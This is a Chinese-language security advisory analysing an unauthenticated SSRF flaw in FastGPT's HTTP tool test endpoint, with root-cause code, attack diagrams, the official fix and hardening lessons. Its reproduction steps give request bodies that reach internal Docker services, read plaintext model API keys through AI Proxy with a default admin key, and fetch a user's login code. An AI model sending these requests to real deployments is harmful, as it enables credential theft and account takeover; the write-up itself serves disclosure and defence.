⚠️ 免责声明：本文内容仅用于安全研究与教育目的。文中涉及的漏洞均已公开披露且已有官方修复方案。所有复现示例均基于本地测试环境，使用脱敏后的地址和密钥。请勿将相关技术用于未经授权的测试或攻击行为。

漏洞等级：CVSS 10.0 严重
影响版本：FastGPT ≤ 4.14.8.3
漏洞类型：SSRF（服务端请求伪造）+ 缺失认证
CVE 编号：CVE-2026-34162
影响范围：所有通过官方 Docker Compose 部署的 FastGPT 实例

一、漏洞背景

1.1 FastGPT 是什么

FastGPT 是由labring 团队开发的开源 AI 知识库应用平台，GitHub Star 数超过 20K。它允许用户快速搭建基于私有知识库的 AI 问答系统，支持工作流编排、HTTP 工具调用、MCP 工具集成等企业级功能。

在国内 AI Agent 开发生态中，FastGPT 是使用最广泛的开源平台之一，与 Dify、MaxKB 并列为三大主流选择。大量企业使用 FastGPT 搭建内部知识库问答系统、客服机器人、文档助手等场景。

1.2 漏洞发现与披露时间线

1.3 漏洞概述

FastGPT 的 HTTP 工具测试端点 /api/core/app/httpTools/runTool 完全没有任何认证，且该端点充当了一个完整的 HTTP 代理——接受用户指定的目标 URL、请求路径、HTTP 方法、自定义 Header 和请求体，然后在服务端发起 HTTP 请求并将完整响应返回给调用者。

由于 FastGPT 通常通过 Docker Compose 部署，所有服务（MongoDB、Redis、PostgreSQL、AI Proxy 等）运行在同一内部 Docker 网络中。攻击者可以利用这个端点：

1. 窃取所有 AI 模型 API 密钥（OpenAI、DeepSeek、Anthropic 等）
2. 读取 MongoDB 诊断数据
3. 探测和访问任何内部 Docker 服务
4. 发送任意 HTTP 请求到云元数据服务（AWS/GCP/Azure 的 IAM 凭证）

关键点：该端点没有任何认证机制，仅一个 HTTP 请求即可验证漏洞存在。

二、漏洞原理与复现

2.1 根因分析

漏洞出在 projects/app/src/pages/api/core/app/httpTools/runTool.ts 文件中。

问题代码：

// 第24-51行：handler函数没有任何认证中间件
async function handler(
  req: ApiRequestProps<RunHTTPToolBody, RunHTTPToolQuery>,
  res: ApiResponseType<RunHTTPToolResponse>
): Promise<RunHTTPToolResponse> {
  const {
    params,
    baseUrl,        // 用户控制的目标URL
    toolPath,       // 用户控制的路径
    method = 'POST',
    customHeaders,  // 用户控制的HTTP Header（包括Authorization）
    headerSecret,
    staticParams,
    staticHeaders,
    staticBody
  } = req.body;

  return runHTTPTool({
    baseUrl,
    toolPath,
    method,
    params,
    headerSecret,
    customHeaders,
    staticParams,
    staticHeaders,
    staticBody
  });
}

// 第53行：直接导出，没有authCert、authToken等任何认证
export default NextAPI(handler); // ← 没有认证中间件！

对比同目录下的其他端点：

// 其他端点都有认证中间件
// mcpTools/getTools.ts 包含认证
// 大多数API路由使用：
NextAPI(authMiddleware, handler)

问题一目了然：这个端点是唯一漏掉了认证中间件的。

2.2 数据流向（安全分析视角）

HTTP POST请求（无认证凭据）
  baseUrl = 用户可控的目标地址
  toolPath = 用户可控的路径
  customHeaders = 用户可控的HTTP头部
       ↓
  runHTTPTool()  [无认证校验，无任何过滤]
       ↓
  axios() 发起服务端请求  [SINK：SSRF入口点]
       ↓
  内部服务返回敏感数据（如API密钥配置）
       ↓
  响应原样返回给外部调用者  [数据泄露完成]

核心问题：从输入到输出，没有任何认证校验、地址过滤或内容脱敏环节。

三、攻击流程介绍

3.1 漏洞利用前提

• FastGPT 实例运行受影响版本（≤ 4.14.8.3）
• 不需要任何认证凭据——这是该漏洞最危险的地方

3.2 利用路径总览

3.3 漏洞利用链路示意

               ┌─────────────────────────┐
               │    外部请求（无需认证）    │
               │  POST /api/core/app/     │
               │  httpTools/runTool       │
               └────────┬────────────────┘
                        │ 缺少认证中间件
                        ▼
               ┌─────────────────────────┐
               │    FastGPT 应用容器       │
               │  (充当HTTP代理)           │
               └────────┬────────────────┘
                        │ Docker内部网络
         ┌──────────────┼──────────────┐
         ▼              ▼              ▼
┌────────────┐ ┌────────────┐ ┌────────────┐
│  AI Proxy  │ │  MongoDB   │ │  FastGPT   │
│  :3000     │ │  :27017    │ │  :3000     │
│            │ │            │ │            │
│ API密钥全部 │ │ 诊断数据    │ │ 内部API    │
│  可被读取   │ │  可被访问   │ │ 可被调用   │
└────────────┘ └────────────┘ └────────────┘

四、模拟复现

以下为基于本地自建测试环境的教学示意，所有地址和密钥均已脱敏。请仅在自己的测试环境中验证。

环境准备

• 测试环境：本地 Docker 部署 FastGPT v4.14.8.3（docker-compose.pg.yml）
• 测试地址：http://[YOUR_HOST]:3000（替换为你自己的测试实例地址）

Step 1：验证内部网络可达性

向漏洞端点发送请求，目标指向 Docker 内部的 MongoDB 服务：

# 示意：验证SSRF是否能到达内部服务（仅结构展示）
POST /api/core/app/httpTools/runTool
Body: { "baseUrl": "http://mongo:27017", "toolPath": "/", "method": "GET" }

预期响应特征： MongoDB 原生端口返回 HTTP 提示文本，确认内网容器可达。

Step 2：验证 API 密钥泄露风险（核心漏洞）⭐

向 AI Proxy 管理接口发起请求，使用 Docker 默认 ADMIN_KEY：

# 示意：演示默认密钥+无认证端点如何导致密钥泄露
POST /api/core/app/httpTools/runTool
Body: {
  "baseUrl": "http://aiproxy:3000",
  "toolPath": "/api/channels",
  "method": "GET",
  "customHeaders": {"Authorization": "Bearer [DEFAULT_ADMIN_KEY]"}
}

预期响应特征： 返回 JSON 中包含已配置的模型频道信息，key 字段为明文 API 密钥。

💡 风险本质： 这个端点充当了完整的 HTTP 代理，且没有任何认证。攻击者可以利用它将请求转发到内部 AI Proxy，获取所有已配置的模型 API 密钥（OpenAI、DeepSeek、Anthropic 等），产生的调用费用全部由运营方承担。

Step 3：验证内部 API 未授权访问

通过同一端点访问 FastGPT 自身的内部接口：

# 示意：通过SSRF代理访问FastGPT内部API
POST /api/core/app/httpTools/runTool
Body: {
  "baseUrl": "http://fastgpt:3000",
  "toolPath": "/api/support/user/account/preLogin?username=[TARGET_USER]",
  "method": "GET"
}

预期响应特征： 返回目标用户的登录验证码，理论上可实现账户接管。

Step 4：内网服务探测汇总

在 Docker Compose 部署模式下，以下内部服务均可通过该端点探测到：

以上结果说明：一个无认证端点被利用后，整个 Docker 内网的服务拓扑和数据均暴露。

五、修复记录

5.1 官方修复

修复版本：v4.14.9.5（2026-03-31 发布）

修复措施 1：添加认证中间件

import { authCert } from '@fastgpt/service/support/permission/auth/common';

// 修复后：添加认证
export default NextAPI(authCert({ authToken: true }), handler);

修复措施 2：添加 SSRF 防护

import { isInternalAddress } from '@fastgpt/service/common/system/utils';

// 检查目标地址是否为内部地址
if (await isInternalAddress(baseUrl)) {
  return Promise.reject('Access to internal addresses is not allowed');
}

5.2 运营方自救清单

如果你正在运营 FastGPT 实例，请立即执行以下检查：

5.3 关联漏洞提醒

FastGPT 在 2026 年 3-7 月间密集披露了多个安全漏洞，建议一并排查：

六、总结与思考

6.1 这个漏洞为什么是 10.0 满分？

CVSS 10.0 意味着最高严重等级，因为：

• 零认证：不需要任何凭据
• 零交互：不需要用户参与
• 完全远程：网络可达即可攻击
• 影响范围极大：所有 Docker 部署的 FastGPT 实例都受影响
• 后果极严重：所有 AI 模型 API 密钥一次性泄露

6.2 对 AI 开发者的警示

1. 认证不是可选项：每一个对外暴露的端点都必须有认证，漏掉一个就是整个系统的后门
2. Docker 内网不等于安全区：一个端点被攻破，内网所有服务都会暴露
3. 默认密钥必须更换：token、admin、password这类默认值就是定时炸弹
4. SSRF 防护要彻底：不是简单检查 URL 前缀就够了，要检查最终目标地址

6.3 写在最后

2026 年第一季度，全球已报告超过 120 起 MCP 相关安全事件。AI Agent 平台的安全成熟度远远跟不上部署速度。FastGPT 的这个漏洞不是个例——在同一时期，LangChain、LangGraph、LiteLLM、Windsurf 等主流 AI 框架都披露了严重漏洞。

作为 AI 开发者，我们需要意识到：AI Agent 不是普通 Web 应用，它连接着模型 API 密钥、企业知识库、内部数据库，一旦被攻破，泄露的不只是用户数据，还有 AI 能力的"燃料"——API 密钥。

参考资料

• GitHub 安全公告 GHSA-w36r-f268-pwrj
• 修复 PR #6640
• 修复版本 v4.14.9.5
• CWE-918: Server-Side Request Forgery
• CWE-306: Missing Authentication for Critical Function
• FreeBuf：大模型 2025-2026 新 CVE 漏洞全景